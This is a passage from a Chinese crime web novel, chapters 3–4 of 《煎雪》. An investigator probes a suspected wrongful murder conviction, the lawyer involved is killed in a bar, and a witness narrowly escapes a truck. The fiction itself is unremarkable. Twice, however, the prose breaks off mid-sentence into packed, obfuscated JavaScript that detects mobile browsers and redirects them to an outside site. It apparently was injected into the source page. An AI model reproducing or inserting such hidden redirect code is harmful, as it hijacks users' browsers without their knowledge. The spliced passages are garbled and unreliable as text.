《煎雪》 3. 第三章 司濯看地图导航的最终位置是“福家岭小区”,以为是在城市或者乡镇的某片集中楼层,没想到到了以后才发现这“高智”地图着实不太靠谱——这地方说是“小区”都抬举了,就是一片没开发彻底的落后城中村,不过好在铺全了水泥路,晚上开车进来倒没什么难度。 耳机里响起“已到达目的地附近,导航结束”的提示音,司濯摘下头盔眯眼看了眼,然后把车就近停在路口,从后腰摸出一个手电筒,走进面前一条狭窄的小道。 白日里在这儿营业的很多商贩都已经收摊了,但空气中仍然飘荡着一股历久弥新的油烟味,味道有些不太好闻,天黑下来这小区跟迷宫似的,城中村里面的小路弯弯绕绕,司濯拐了不知道多少个弯,才终于在一栋掉漆的墙面面前,看到了“128”的门牌号。 站在何平亮的家门前,司濯抬手敲了两下门。 很快,面前陈旧的大门“吱嘎”一声打开—— 一个中年男人出现在司濯的眼前,身上穿着件泛了黄的白衬衫。 可能是为了正式面见上面来的“大人物”,何平亮大概趁着这半个钟头把自己急匆匆捯饬了一顿,衬衫下摆参差不齐地塞在皱皱巴巴的西装裤里,脚下一双并不合脚的皮鞋打的锃亮,给人一种寒酸的体面。 司濯打量着他:“何平亮?” 何平亮也打量着司濯,面上明显愣了一下。 何平亮以为来处理他父亲案子的,应该是一位看起来沉稳靠谱、经验老到的老干部,再不济也是个身经百战的老刑警,没想到来的却是一个年轻男人。 ——至少比他想象中要年轻许多。 面前的警察有一张很惹眼的长相,皮肤在楼道灯光下显得格外冷白,但看起来并不严肃。 他穿着件夹克风衣,眉眼间颇有些少年轻狂、桀骜不驯的意思。 何平亮第一反应以为是司濯找错人了、或者他等错人了,下意识越过司濯,往他后面的黑暗里看了一眼。 司濯一手拍在门框上:“不用看了,我就是来找你的。” “………”或许是某种刻板印象作祟,何平亮对于这种年轻并且长的好看的警察抱有一种天然的不信任,他直直瞪着面前的男人,心中几乎有些愤怒。 他蜷缩在这个暗无天日的小地方等了七年,终于等来了能够真相大白沉冤昭雪的机会——结果上面就派了这么个明显没什么阅历的小年轻来打发他! 可愤怒归愤怒,无用的愤怒等于不存在,他如今也只能选择相信这个人。 除此之外,没有其他的路可以走。 何平亮如鲠在喉了一会儿,控制住了面部表情,低声对司濯道:“进来吧。” 司濯抬步走进他的家门。 何平亮近几年过的肉眼可见的拮据,租的是这片儿最便宜的半城区,还是最不值钱的一楼,一个月的房租可能也就不到五百块,司濯进门打眼一扫,一室一厅的房间里,连一个像样的家具都没有。 司濯开门见山地说,“你说你手里有何侯平是被诬陷入狱的证据——是什么证据?” 何平亮没吱声,只是看了他一眼,眼里都是对于这位警察专业能力的怀疑与不信任,“你们办案,不是要录音、录像什么的?” “……”司濯道,“这次只是来了解案件情况,不是正式调查,也不会作为什么呈堂证供,用不着那么郑重其事。” 他拿出证件,放在桌子上,“我不是什么江湖骗子,实在不放心的话,咱俩就先证物抵押一下呗。” 何平亮盯着桌子上的证件——显然在他面前这个盖了公章的小本比司濯本人更有几分可信度——几秒钟后他一声不吭转身进了卧室。 然后不知道从哪儿刨出来了一个小型行李箱。 外形看起来有些年数了。 司濯的长眉微微挑了一下。 那行李箱估计有些分量,何平亮把它放在玻璃桌上的时候,“咚”的一声闷响。 随后,何平亮当着司濯的面,打开了箱子。 房屋的灯光微微折射出浅红色的光芒。 ——只见那行李箱里,铺的一层又一层,满满当当,全都是百元人民币。 “这里面有一百万。” 何平亮哑声道:“七年了。” “我一分都没有动过。” 一百万,别说放在七年前,即便是现在,也不是一笔小数目了。 司濯抬眼:“这钱是从哪儿来的?” 何平亮道:“那边的律师给我的。” “那天他来找我,说我爸已经意识到了自己的错误,承认了他的罪行,在看守所里认罪悔过了。” “还说,这是我爸托付他留给我的钱。” 说到这里,何平亮的情绪有几分过了时宜的激动,语气也应激起来,“我爸从哪来那么多钱!以前能供给我上大学不负债就不错了!他就是替人背了这一口杀人的黑锅,这是不让我去上/访闹事的封口费!” 司濯看着那满满一箱的百元大钞,根据何平亮单方面的只言片语,得出不同的结论:“听起来是律师伙同你父亲一起做了伪证,拿人钱财、替人顶罪。” “而你是受益人之一。” 至少律师一定用某种手段买通了何侯平,让他以一百万的代价,替人抵了这二十年的牢狱之灾。 何平亮却坚决否认道:“不,一开始,我爸坚决否认是他杀了人,刚被关进看守所的时候还说自己是冤枉的!在里面蹲了几天才突然改口的!” 何平亮说这些话的时候,语气异常坚定,黑洞洞的眼眶里几乎烧着两簇鬼火,七年来的等待与偏执让他面对这件事的时候甚至有些神经质,他一步走到司濯的面前,尖刻质问道:“律师神通广大,是怎么在看守所里就让我爸跟他‘同流合污’的,是怎么避过接待室的监控摄像头暗度陈仓的!” “警官,你觉得世界上有不透风的墙吗?!” “如果律师说谁是杀人凶手、谁就是凶手,那还要警察干什么,还要法官干什么?” ——要是换个市局刑警站在这儿,说不定会觉得有点被指桑骂槐的冒犯,但司濯脸上表情变都没变,事不关己似的无所谓,面不改色问道:“还有其他的线索吗?” 何平亮胸膛起伏了几下,狠狠闭了闭眼,语气平静了许多:“我平时接触不到那个圈子里的人,也不认识什么人,没有调查的渠道。” 在手眼通天的“律师”面前,在那一百万面前,他就是一个普通到无能的平民百姓。 何平亮道:“但那个律师的长相我记得,他的眉毛旁边有个黑痦子。” “当时他来给我送钱的时候,我还跟着他,记下了他的车牌号。” 说着,他从裤子兜里掏出来一张准备好的纸条。 司濯接过来,上面写了一串车牌号码。 他点了下头,把纸条折叠两下,放进了衣服内层口袋里,“还有吗?” “还有……就是我爸本人,” 何平亮道,“我不知道他为什么会改口,受了什么威胁,还是受到了其他压迫不得已给人顶罪。” “但我爸一定是被冤枉的!他不可能杀人,不可能把魏叔推下四楼,不可能——” 司濯一条长腿跨上摩托车,单腿支地,戴上头盔,何平亮歇斯底里的话音仍然在他的耳边不断回荡。 根据档案记录,何侯平是因为上班的时候跟同车间的工友发生了口角争执,升级到肢体冲撞过后,一时激情杀人,把同在一个工厂里的同事从四楼推了下去,造成被害人当场死亡。 当时在场的工人,全都是人证,且在公安机关的供词整齐划一。 后来分局在两个人身上都检查出了斗殴痕迹。 再加上何侯平本人也认罪——人证、物证、犯罪嫌疑人口供俱全,且互相佐证。 这起案子就这么板上钉钉了,按照程序也挑不出什么错处。 越野摩托在车流消散的道路上全速奔驰,司濯的眼神在黑暗中分外沉静。 何平亮的话,他也不是全信。 何侯平当年到底是被栽赃陷害入狱、还是他跟律师达成了双方面的一致,又或者这起案件并不存在什么“冤情”—— 都得等调查完了才能知道。 至于那一百万究竟是不是律师给他的,也有待商榷,都是何平亮的一面之词。 但眼下没什么线索。 司濯也只能先沿着这条线往下查。 司濯回到调查组临时入住的四星酒店,拿出纸条让技术员在系统里一查——这律师也真是明目张胆,直接实名制上路。 车牌号对应的号主名叫赵立肖,登记职业是荣天律师事务所的刑事律师。 司濯单手按在桌子上,微微弯腰盯着电脑屏幕上的男人,看到他眉边的那颗黑痦,自言自语喃喃道:“赵立肖,应该就是这个人了。” 司濯起身:“我去会会他。” 坐在电脑前的技术员面露惊讶,瞥了眼外面漆黑的天色,迟疑道:“这么晚了,要不明天再说吧。” 他们组长这一来一回时间不短,现在都快到十点了,月光都黑透了。 “律师这个点通常不睡觉。” 司濯拎起一件黑色风衣外套,想起什么又嘱咐道:“对了,再查一下这荣天事务所往前推七八年的合作对象,还有律所的异常收入。” “要是何平亮没撒谎,我看这律师栽赃嫁祸的业务挺熟练。” 司濯手背蹭了下下巴,“说不定是老本行了。” “另外,跟分区监狱通口气,我明天要去见见那个‘认罪伏法’的何侯平。” 说完也没等其他人说什么,司濯披着衣服转头就走了。 简直是说一不二、雷厉风行。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443949|201063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 司濯离开后,客厅里静悄悄半天,有人没忍住“嘁”了一声。 ——这姓司的是半年前空降在政法系统的新人,背景非常神秘,很得老领导的青眼。 虽说这次挂了个“组长”的噱头,但论职位跟其他人也是平级,甚至单纯排资论辈还不如他们。 好像还真把自己当领导了。 被一个小辈这么呼来喝去,其他人心里难免有点愤愤不平,但司濯的安排又实在没什么纰漏。 半天只能说了一句:“这大半夜的,不扰民啊。” 一位稍年长的调查员在说话那人的肩膀上拍了一下,“组长让你干啥就干啥呗,从哪儿来那么多想法,扰不扰民的,关你什么事。” 顿了顿,他话音一转,稍微压低了声音道:“要是清城真有点什么,迟早查到‘自己人’头上。多得罪人的事儿,有人在前面当这个出头鸟,就偷着乐吧。” 清城的底细还没摸清,不好大张旗鼓地行动,初代调查组就来了五个人,都是从各个系统临时抽调的骨干,个个恃才傲物,跟司濯尤其不熟,短时间内也不是一条心。 ——表面上装的一片和气,背地里小声蛐蛐几句再正常不过了。 只有缩在角落里的“技术员”推了下眼镜,闭着嘴一声没吭。 司濯开车到了赵立肖备案登记的小区,找到他家的房门后,抬手按下墙上的门铃。 隔着一道门板,隐约能听到房内的门铃声响,但里面没什么动静。 等了会儿,还是没人出来,司濯又拍了拍房门。 “有人在吗?” 几秒钟后,楼道里“吱嘎”一声响,司濯看着眼前纹丝不动的房门,又回头一看——是对面的房门开了,门口探出一个烫着时髦泡面卷、敷着面膜的中年大妈,语气幽怨:“别按了,大半夜的让不让人睡觉了。” “不好意思啊,十万火急。” 司濯好像没有脸皮这种东西,“一直没人开门,赵律师以前也这个点睡觉?” “他不在家,”大妈对着空气翻了个白眼,“鬼给你开门啊。” 司濯问:“不在家?” 大妈嗯了声道:“看他吃过晚上饭就走了。” “一直没听见回来的动静呢。” 司濯闻言沉默了下,不太确定地想:难道是回律所加班了……? “谢谢,打扰了。”司濯伸手帮她关上了房门,“请回吧。” 家里没人,司濯又开车去了荣天律所——这个点所里的确有不少还在加班的律师,办公室里扑面而来的怨气估计能养活一个团的邪剑仙,可惜赵立肖并不在加班行列——同事说他晚上六点半的时候就下班回家了。 司濯两点一线没有逮到人,只好无功而返。 路上,司濯接到同事打来的一个电话。 “滋啦”一声刺耳声响,汽车瞬间靠停,急刹在原地。 . 清城大学附近,绿野酒吧。 这酒吧开在“大学城”中心好几年了,本来就小有名气,到了休息日的半夜,里面更是群魔乱舞。 晚上九点多,街道上的行人逐渐散去,但酒吧里正是刚开始热闹的时候。 缭乱斑斓的灯光之下,映出一张张纸醉金迷的面庞,男男女女在舞池里激情high歌,身体随着劲爆到震耳欲聋的音乐不断律动。 一个男人踉踉跄跄走入人群。 他的脸颊绯红、眼神迷离,瞳孔浑浊放大,明显是喝大了的神态,嘴里嚷嚷着:“来!喝!嗨!” 男人热情高涨,举着空酒杯漫无目的地转了几个圈,脚下站不稳似的,接连踉跄了几步,摇摇晃晃倒在了不起眼的角落。 两分钟后。 酒店里爆发出一声极具穿透性的尖叫,直接掀翻了音乐浪潮—— “啊!!!” “死人了!!!——” 一个身形偏瘦的中年男人倒在舞池角落柱子上,腹部插了一把毫不起眼的短刀,刀身带着极细的放血槽。 血迹以他为中心向周围蔓延,又被无知无觉的人群踩的七零八落。 一声尖叫捅破了天花板,瞬间一石激起千层浪。 音乐里的嚎叫声此时听起来只让人汗毛倒竖,酒吧里的客人被血腥恐怖的命案现场吓破了胆,如鸟兽散,纷纷扬扬地挤向大门。 前一秒还人声鼎沸的舞池瞬间清场。 只有男人歪着脖子倒在柱子上,眉边一颗黑色的“痣”,已经快被放血放成干尸。 拥挤而又慌乱的人群中,一道高挑身影被身旁的客人推来撞去,裹挟着涌向酒吧出口。 那人上身穿着件黑色连帽衫,低头路过出口监控摄像头的时候,不经意抬手将兜帽向下一遮。 宽大的帽檐严严实实盖住了整张脸。 手腕上一圈雪白绷带在缭乱灯光下一闪而过。 4.第四章 “死了?” 司濯坐在车里,单手按在方向盘上,声音听起来有几分冰冷,“什么时候?” “一个小时前锦江分局接到报案,说清城大学城的一家酒吧死了个人。” “刑事律师跟公安经常打交道,尤其是赵立肖脸上还有点‘特征’,”电话那头说道,“尸体刚送回分局,就被一个刑警认出来了,现在估计应该在进行初步尸检了。” 司濯往后靠了一下,背椅“吱呀”一声轻响。 他这才刚查到赵立肖的头上,人还都没见着…… 赵立肖居然当天晚上就死了,就在人来人往的酒吧,被明目张胆地封了口。 甚至都没活过第二天。 司濯眼皮跳了一下。 他的眉眼线条薄而锋利,面无表情的时候,显得有些阴沉的戾气。 什么人这么肆无忌惮、又手眼通天? 他们是怎么知道调查组来到清城的具体日期…… 又是谁在这片漆黑天穹之上“看”着他? 同一瞬间,司濯的心里涌上另一股不详的预感,打着方向盘飞快挂挡掉头,向福家岭小区的方向驶去。 赵立肖被灭口,何平亮恐怕也不安全! 说不定会有人同样要杀他灭口、以绝后患! 汽车在黑夜道路上飞驰,速度几乎快出了残影,司濯在路上给何平亮打电话,然而通话心惊肉跳地响了几声——没人接! 司濯本想联系分区警方让他们先去查看何平亮家里的情况,但这个点分区出警到现场的速度跟他估计差不了多少,而且清城这潭水不知深浅,司濯也不确定他的这通电话会是“保护符”还是“催命符”。 好在荣天律所离福家岭小区并不远,以司濯的车速也就十五分钟的路程,再加上大半夜人迹罕至,一路畅通无阻。 还没驶入那片城中村,司濯远远透过车窗玻璃便看到路边一个男人的身影,那人手里不知道拎着一坨什么东西,正在没有红绿灯的十字路口上横跨过马路—— 司濯根据那脑门狗啃似的发型认出男人是谁,还没来得及松口气,眼前突然一道白光闪过,从侧方打过来的光线突兀的照亮了整片街道! 一辆高速行驶的超载大货车出现在司濯的视野,直勾勾对着路上那个男人就冲了过去! 哔哔——!! 哔哔哔!!! 静谧黑夜中响起的喇叭声尖锐刺耳,几乎要何平亮的刮破耳膜—— 他转过头,所有行为在那一瞬间都变成了被拉长的慢动作。 普通人面对这种突发情况其实是很难反应过来的,尤其面对着高速冲撞过来的庞然大物,那种拉到极致的恐惧几乎让人失去闪避本能,何平亮的瞳孔在强光刺激下骤缩成一点,在这个最该跑路的时候,他站在原地整个人呆若木鸡,就那么眼睁睁看着大货车冲他撞了过来! 直到这时,那货车司机才惊觉路上还站了个人似的,开始疯狂刹车,底下刹车片发出让人牙酸的声响! 但是来不及了! 已经要撞上去了! 千钧一发之间,司濯单手解开安全带,脚下油门踩到了底,轮胎几乎爆起火花,车速在一瞬间强行飙到了极致,自/杀/式袭击似的横截到了那辆大货车之前—— 所有的变故都发生在堪称极限的一秒钟之内,汽车在即将相撞的瞬间车头急转,同时司濯开门跳车,几乎是被离心力甩了出去,借着巨大的速度惯性,硬生生在那辆货车撞到何平亮之前,飞扑到了他的身上! 下一秒“轰”的一声震耳欲聋的巨响,货车的轮胎贴着两个人的头发丝刮过,司濯的车直接被撞飞了出去,在空中翻了几个滚以后稀里哗啦地落地,瞬间彻底报废,只有车内报警器死不瞑目地发出乌拉乌拉的爆响。 还有不知道什么东西,糊到了货车的窗玻璃上,天女散花似的飞了一地。 那巨大的冲力让司濯连带着何平亮在路面上打了几个滚,滚到了路边还能没减速,然后就一块狠狠撞到了凸起的马路牙子上! 司濯后背顿时有点丧失知觉,耳边被那巨大的爆破声震的嗡嗡作响,眼前黑了一瞬。 但感觉人还能动。 司濯一条腿抵在地面上,又单手撑着地站了起来。 嘴唇动了动,看表情像是骂了句什么。 何平亮还没反应过来发生了什么,惊魂不定地望着不远处的事故现场,一张脸后知后觉变得煞白,没有一丝人色。 他的脑子里、耳朵里都嗡嗡直响,撞击造成的头部伤让他的血顺着侧脸流了下来,但何平亮这会儿什么都感觉不到,只出了一身劫后余生的冷汗,磕磕巴巴地问:“警察同志,这是、这是怎么回事?” 何平亮此时堪称灰头土脸、狼狈至极,司濯也好不到哪去,脸上多处擦伤,先着地的那条胳膊差点废了,幸亏他半夜出门的时候换了件面料厚的风衣,抵消了路面摩擦,不然这会儿估计要“露骨”了。 司濯单手将何平亮从地上拖了起来,盯着那辆车灯爆闪的大货车,冷笑了一声:“看起来你忍辱负重的还不够时候。” 何平亮整个人神魂出窍似的:“什、什么?” 司濯面色阴沉看了他一眼,没说话,抬步走向肇事货车。 他单脚踩在货车的踏板上,拉开车门,不多废话:“下车。” 出乎意料的是,那大货车司机看起来居然比何平亮还受惊,两只手臂放在方向盘上,脚底这时还狠狠踩着刹车,从嘴唇到手臂都在哆嗦。 他坐在驾驶室跟司濯对视了一眼,几秒钟以后魂不守舍地从车上钻了下来。 落地的时候还表演了个“平地摔”,半天没爬起来。 司濯:“………” 贵市马路杀手就这心理素质? 在肢体不知道从哪儿冒出来的轻微刺痛下,司濯的耐心彻底告罄,露出一点被“警服”压制的邪性来,他拎着司机的衣领,徒手把人强行提了起来,冷冷逼问:“什么人派你来的?” 司机头皮一紧,被迫抬头看他——从这个距离、这个角度,司濯的五官是非常有压迫感的,几近让人胆寒,而司濯从他又顿困又疲惫又惊恐的眼神里,看到了一片白花花的茫然。 司机颤颤巍巍“阿巴阿巴”了半天,最后语无伦次道:“人、人没事吧?” 他的眼珠子在眼眶里上蹿下跳的转了几圈,然后锁定了他要找的目标——何平亮好端端、活生生的站着,一瘸一拐往他们这边走了过来。 司机登时松了一大口气,肉眼可见的虚脱了,一脑门的虚汗,“人没事就好。” 司濯冷眼盯着他,不知道这又是在打算唱哪出。 这是眼见着杀人未遂,准备上演一场“真心悔过”、当做一场“还好人没事”的意外事故了? 这时,从货车上又下来一个染着金发的女人,年纪看起来跟司机差不多大,气势汹汹地就冲着他们走过来。 女人来了以后一句话也没说,扬手一巴掌就抽到了那司机的后背上,啪的一声巨响,抽的男人差点跟陀螺似的转了一圈。 “你个犟驴玩意儿,人话是一次不听,”女人满脸怒气,操着一口非常明显的外地口音,“都说了让你在这旮沓睡一觉,明天再开、明天再开!” “你非要走!现在好了,这下好了吧!路上那么大人都看不见,你怎么不直接困死呢!” 司机可能是被打骂习惯了,抹了把脸窝窝囊囊地说:“人没事就好。” 又继续蚊子似的嗡嗡嚅嗫,“车有保险,用不着我们赔。” 女人听见这话气不打一处来,又抽了他一巴掌,“你把人车撞成这样,人不报警吗,你车不给扣下吗?!车上这批货怎么办,公司回头又得扣钱!惹这些事,怎么还没丧门死你呢!” 司濯在旁边听着,心头浮起一阵怪异。 这两人说话都带着非常明显的外地口音,看起来像是一对常年跑长途大车的夫妻。 那女人的脖子上、手腕上还带着闪闪发亮的金项链、金手镯,衣装明显也是精心打扮过的。 司濯原本以为,这司机跟杀赵立肖的凶手是一个来头,都是为了给何侯平一案“封口”的。 因为这个时间点实在是太巧合了。 可是一个要杀人偿命的司机,会拖家带口、带着他老婆一起行凶吗? 一个疑似共犯的女人,会在跟着丈夫当“马路杀手”的时候,还带着价值不菲的金链子、还有心思精心打扮自己吗? 司濯心中顿时疑窦丛生,开口打断了单方面的争吵:“你们是哪个运输公司的?货车驾驶证呢?” “我俩是X省钢厂的长途运货员,这是我老婆,跟我一块开大车的。”司机忙不迭从兜里拿出驾驶证,“同志,不是无证驾驶。” 司濯扫了一眼,的确是A2驾驶证,司机也的确不是本地人。 何平亮这会儿也半身不遂地走过来了,面色惊疑不定地看着面前的几个人。 司机见到他,立马冲了上去,紧紧握住了何平亮的手,简直快哭了,“我这开了一天半的车了,实在是太困了,本来打算过了这个地界再找个宾馆睡一觉。” “没想到就一眯眼的功夫……” “实在是对不住,让兄弟受惊了,万幸人没事。” 司濯眯了下眼睛。 这夫妻俩不像是装的。 ——难道他们还能未卜先知,知道这次撞人计划不会成功,所以特意在他面前上演这一场戏? 没道理这样做。 而且路面上刹车痕迹非常明显,这司机明显也想“抢救”一下,可惜大货车的惯性太大了,临时刹车不顶什么用。 司濯沉思片刻,拿出手机,打了一通电话:“监狱那边有什么情况吗?何侯平怎么样?” 对面道:“没有啊,一切正常。” “何侯平这个点早就睡觉了——怎么了?有什么发现吗?” 司濯挂了电话:“回去再说。” 何侯平那边也没有动静。 ……难道真的只是一起意外的交通事故。 何平亮在几个小时之前对眼前的警察还有浓重的轻视和偏见,然而经过亲眼目睹了“空中飞人”以后,司濯俨然已经变成了他的主心骨,何平亮凑到司濯的跟前,小声问他:“警官,现在怎么办?” “公事公办。”司濯拿过一个三脚架放到路面上,“报警,让交警过来处理吧。” 横竖在交警那边出事故认定书之前,这对夫妻也离不开清城。 如果这俩人真的心怀鬼胎,只要何平亮没死,就迟早会露出马脚。 等交警和保险公司过来处理完现场,又把那辆严重超载的货车拖走,已经是后半夜。 在“马路杀手”这方面,意外车祸和蓄意杀人的界限其实一直非常模糊。 谁也说不准,那一脚油门踩下去,到底是司机疲劳驾驶睡着了、还是早就盯上了目标有意为之? 那些被撞到血肉模糊、现场毙命的受害者,究竟是刚好倒霉丧命,还是有人就要他在那个时候死? 再先进的刑侦技术、再犀利的刑讯手段,也不能扒进司机的脑子里看看他在想什么。 司濯观察过那个司机的手指,关节处都有一层坚硬泛黄的厚茧,那是长年开车把握方向盘才能留下的茧子。 这对外地来的夫妻十有八九没撒谎。 一对还算“和睦”的怨侣,没有必要铤而走险,染上一桩命案。 但是……太巧了。 怎么会这么巧? 司濯想到什么,转头盯着何平亮,“你大半夜的不睡觉在马路上看月亮呢。” 何平亮沉默了几秒钟,走到了现场被处理过的一堆“垃圾”面前。 司濯当时看到他手里拎着什么东西,直到这时才看清——那是各种快递纸壳、纸板,还有一些废旧没人要的金属。 何平亮冲他笑了笑,弯着腰去整理那些被人丢弃的废纸箱,“这片儿的人都知道我爸是杀人犯,我是杀人犯的儿子,找不着什么正经工作,摆摊不管干什么都没人吃,因为那是‘杀人犯的儿子’做的,好不容易有个老板愿意要我,但一个月就能开一千五百块的工资。人活着就得喘气儿、就得吃饭,我自己要生活,等我爸出狱,估计都七老八十了,还得给他攒点养老钱。” “我每天晚上趁着他们收摊了以后,到小区下面捡他们不要的包装箱子,快递盒子。马路对面就是一家废品回收站,这些纸壳送过去卖卖,一天也能有五六块。” “一年少说也能攒个千八百的。” 司濯听了,一时沉默。 然后他走到那堆“垃圾”面前,跟何平亮一起收拾那些被撞的零零散散的纸壳。 何平亮吓了一跳,忙道:“不劳您动手……” “没事,都快三点了,”司濯把脚底下的纸壳结结实实踩到一起,“早弄完了我也回去睡觉。” 听了这句话,何平亮这会儿才反应过来什么,突然盯着他,“警官,是不是出什么事了?您怎么会半夜过来?” 司濯面不改色道:“没什么。” 要是跟他说赵立肖死了,何平亮估计以后就很难再睡个好觉了。 虽然现在大概也好不到哪去。 司濯随口应付过去,何平亮也识趣地没再多问什么。 司濯来的这趟开的是分配的公车,结果刚开了两天就英勇就义、光荣报废了,这个点也不好再麻烦同事跑过来接他,司濯只能试试能不能打到夜猫子车。 两个平台的单子一块发出去,过了五六分钟才有“亦未寝”的司机接单,距离还很远,到达上车点已经是十分钟以后了,司濯困的要命,上了车以后就靠边闭上了眼睛。 然后他就发现这司机的车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446608|201063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 技着实堪忧,一马平川的大路还能开的哆哆嗦嗦的,车身不断的小幅度晃荡。 司濯皱眉睁眼,往前一看,发现是司机的手臂在不住哆嗦,带着整个方向盘都在发抖。 司濯:“………” 什么情况,帕金森也能开滴滴了? 他稍微探头,想跟司机问候点什么,刚抬眼就愣了下—— 外面深更半夜的时候没看出来,被车内的灯光一照,司濯才从后视镜里看到,他的脑袋不知道在哪儿蹭破了点皮,这会儿一串血色顺着耳根流到了脖子后面,半边耳垂都染了红。 大半夜看起来的确是有点视觉冲击的。 “………”司濯无奈地想,“今天这血光之灾是不是有点太多了。” 清城这地方指定是有点说法的。 不过好在他兜里还有下午没用完的绷带,司濯卷吧卷吧压在脑袋上,把伤口临时处理了一下,然后又对被吓的两股战战的倒霉司机客客气气地一笑,“我是警察,刚处理完一起事故回来,这么晚麻烦你了。” 听见这话,那帕金森似的车头立马就不哆嗦了,司机终于大喘了一口气:“原来是警察同志啊!我还以为是那什么……” 半夜杀人狂呢! 说完又不由感叹道:“这么晚了还要出警,警察真是不容易啊。” 司濯没再说什么,继续闭目养神。 这一天过的实在是跌宕起伏,回到酒店的时候,天都快亮了,司濯没有在大白天拉窗帘睡觉的习惯,索性就不睡了,洗把脸换了身衣服,拎着一杯强效提神咖啡走到客厅。 关于赵立肖的死,司濯越想越觉得奇怪。 如果他是“那边”的人,为了阻止旧案重启,那么最应该被灭口人的应该是何侯平,毕竟如果板上钉钉的“凶手”当场翻供,对警方造成的压力是最大的。 又或者,杀了何平亮。 他是何侯平一案的举报人,引来调查组的巡视,手里说不定还握着什么关键证据。 可是“他们”绕过了两个至关重要的何家人,唯独杀了那个在中间办事的律师。 这说根本不通。 就以眼下情况分析,即便赵立肖死了,两边当事人都还在,这起案子还是可以继续调查下去。 而且,真的有人那么神通广大,他们前脚刚秘密潜入清城、后脚就被发现了所有行踪?到底是哪只无处不在的“眼”在盯着他们? 这中间说不通的地方太多了。 司濯一杯冰冷的咖啡下肚,分外清醒之余,又想到了另一种情理之中的可能性—— 还是说,“那些人”根本不知道调查组到达清城的消息,赵立肖的死,说不定跟他们的到来没有关系,更无关何侯平一案。 换句话说,赵立肖或许是被卷进了另一桩案子里。 . 调查组里最年长的那个成员叫冯骧,纪委那边的,已经是在体制内摸爬滚打了半辈子的老油条了。 他早上起床趿拉着拖鞋出门,看到客厅里坐着的司濯,不由呆了下,连到了嘴边的哈欠都咽了回去。 “什么时候回来的?”冯镶轻手轻脚走过去,压低了声音道,“你这是一晚上没睡啊?” 司濯冲他一点头,“冯哥,你今天去一趟监狱那边吧。” “去探探何侯平的口风,看看这位当事人对七年前那一起‘冤案’是怎么评价的。” 冯镶一口应了:“行——不过你打算干嘛去?” “赵立肖死的有点怪。” 司濯道,“我打算去调一下当天的监控。等到市局那边有消息,恐怕得猴年马月了。” 冯镶吱嘎一声在司濯旁边沙发坐下来,低声道:“这律师死的时间太巧了,简直像是冲着我们来的。” 司濯淡色的瞳孔看着他,“如果真是冲着调查组,昨天晚上死的人应该是何平亮和何侯平。” 他们都是聪明人,司濯一句话冯镶就明白了其中的意思——只死一个赵立肖,只要随时能“反水”的何侯平还活着,就根本不能改变任何局势。 杀了赵立肖,除了明目张胆跟调查组示威以外,还有什么作用? “现在所有的想法都是猜测,我们掌握的信息太少了。”司濯捏了下眉心,“两边一起推进吧,我去看看案发现场有什么线索。” 绿野酒吧发生了一起骇人听闻的命案,一时间从大学生们的假期宠儿,变成了无人问津的“鬼屋”,直击凶杀现场。 酒店老板简直焦头烂额,已经在思考改个什么能转运的名字回头重新开业了。 临近中午中午,酒吧里来了一位不速之客。 “警察。” 司濯把证件往桌子上一摊,“我来调一下案发当时的监控录像。” 酒吧老板一头雾水:“监控?不是上午刚拿走了吗?” “不好意思,同事回来的时候不小心把u盘丢了,”司濯面不改色随口胡诌道,“麻烦你重新帮我拷一份吧。” “……行,”老板也没说什么,带着司濯一块进了后台。 从赵立肖进酒吧到尸体被发现,中间两个多小时,拷贝视频需要一段时间,老板看着那加载缓慢的进度条,忧心忡忡地问,“警官,我们酒吧什么时候能正常营业啊?” “这人怎么就死我店里了呢?” “我们这酒吧好好开业招谁惹谁了?” 司濯面沉如水,心道:是啊——为什么呢? 是谁杀了他、为什么杀他、为什么在这个时候杀他? 司濯把三个角度的摄像头的监控视频都拷了回来,本来想看看能不能从监控里找到凶手的犯案过程,但看了会就知道不太可能—— 那个时间点酒吧里的人实在是太多了,完全可以用摩肩接踵来形容,那一人两根海草似的手臂又几乎遮住了所有人的脸,再加上这监控画质一般,根本看不清赵立肖这一晚上究竟路过了多少人,又是谁借着人群与灯光的遮掩,在他的身上捅了那致命的一刀。 监控拍到了赵立肖在舞池里临死前的模样——司濯感觉他的状态,不像是纯粹的喝醉了。 喝的再醉,也不至于一边身上哗啦啦放血,一边不知痛痒地在舞会里来回乱窜。 倒像是…… 司濯轻轻皱眉,继续播放着监控视频。 直到一个人终于发现了尸体,透过屏幕几乎能听到她无声的尖叫—— 人群在屏幕里好像被一滴热油烫了的蚂蚁,瞬间轰然而散。 一时间所有人都齐刷刷向出口涌去,监控屏幕内肉眼可见的拥挤。 司濯本来是单手杵着下巴,懒散地靠在电脑桌上,眼皮半睁着,在某个瞬间,他突然直起了身体。 然后操控鼠标,把画面往后回退了几秒钟。 屏幕停止的画面上,灯光下斑驳离乱的人群中,定格一道极为模糊的黑色背影。